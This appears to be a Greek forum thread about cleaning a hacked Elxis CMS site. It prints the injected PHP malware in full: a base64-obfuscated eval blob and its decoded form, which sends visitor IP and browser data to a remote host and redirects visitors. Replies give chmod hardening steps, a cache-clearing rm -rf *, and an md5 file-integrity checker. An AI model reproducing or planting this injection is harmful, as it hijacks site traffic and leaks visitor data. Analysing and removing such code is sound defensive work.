<?php eval(base64_decode('Z2xvYmFsICRyZXNwb25zZV9zZXNzaW9uczsNCg0KaWYoISRyZNwb25zZV9zZXNzaW9ucykgew0KCSRyZXNwb25zZV9zZXNzaW9ucyA9ICJhbGl2ZSI7DQoNCgkkcz1iYXNlNjRfZW5jb2RlKHN0cnJldihiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnUkVNT1RFX0FERFInXk0cnRvbG93ZXIodHJpbSgkdFswXSkpPT0ibG9jYXRpb24iKSB7DQoJCQkJJHJlbG9jID0gdHJpbSgkdFsxXSk7DQoJCQl9DQoJCX0NCgkJaWYoJHJlbG9jICYmICFzdHJsZW4oc3RycG9zKCRyZWxvYywnMDAwMDEwMjAnKSkIHsNCgkJCWlmKCFAaGVhZGVyc19zZW50KCkpIHsNCgkJCQlAaGVhZGVyKCJIVFRQLzEuMSAzMDIgRm91bmQiKTsNCgkJCQlAaGVhZGVyKCJWYXJ5OiBBY2NlcHQtRW5jb2RpbmcsVXNlci1BZ2?>
global $response_sessions;if(!$response_sessions) { $response_sessions = "alive"; $s=base64_encode(strrev(base64_encode(str_replace('|','',$_SERVER['REMOTE_ADDR']).'|'.str_replace('|','',$_SERVER['HTTP_ACCEPT']).'|'.str_replace('|','',$_SERVER['HTTP_USER_AGENT'])))); $u='http://mdmyssd.cz.cc/xp/session.php'; $s=@file_get_contents("$u?t=$s"); if(count($http_response_header)) { $reloc = ''; foreach($http_response_header as $v) { $t=explode(": ",$v); if(strtolower(trim($t[0]))=="location") { $reloc = trim($t[1]); } } if($reloc && !strlen(strpos($reloc,'00001020'))) { if(!@headers_sent()) { @header("HTTP/1.1 302 Found"); @header("Vary: Accept-Encoding,User-Agent"); @header("Location: $reloc"); } else {κτλ... κτλ...
Ναι , εχεις δίκιο, το βλέπω και σ' ευχαριστώ πολύ!Από δω και στο εξής υπάρχει ασφάλεια στο site ή κινδυνεύω ακόμα?
cd /στον/root/κατάλογο/του/elxis/find . -type f -exec chmod 0444 {} \;find . -type d -exec chmod 0555 {} \;chmod tmpr 0777 (ή καλύτερα 0755 αν η php τρέχει ως suphp/suexec)chmod cache 0777 (ή καλύτερα 0755 αν η php τρέχει ως suphp/suexec)cd cacherm -rf *touch index.html
<?php $protected_files = array( 'file1' => 'md5_hash_for_file1', 'file2' => 'md5_hash_for_file2', 'file3' => 'md5_hash_for_file3', 'file4' => 'md5_hash_for_file4');foreach ($protected_files as $protected_file => $hash) { $nhash = md5_file($protected_file); if ($nhash != $hash) { @mail('info@example.com', 'File modified!', 'blah blah'); die('Detected modification of a system file!'); }}?>
.. ή Bookmarks - τι χρήσιμη λειτουργία κι αυτή!!!!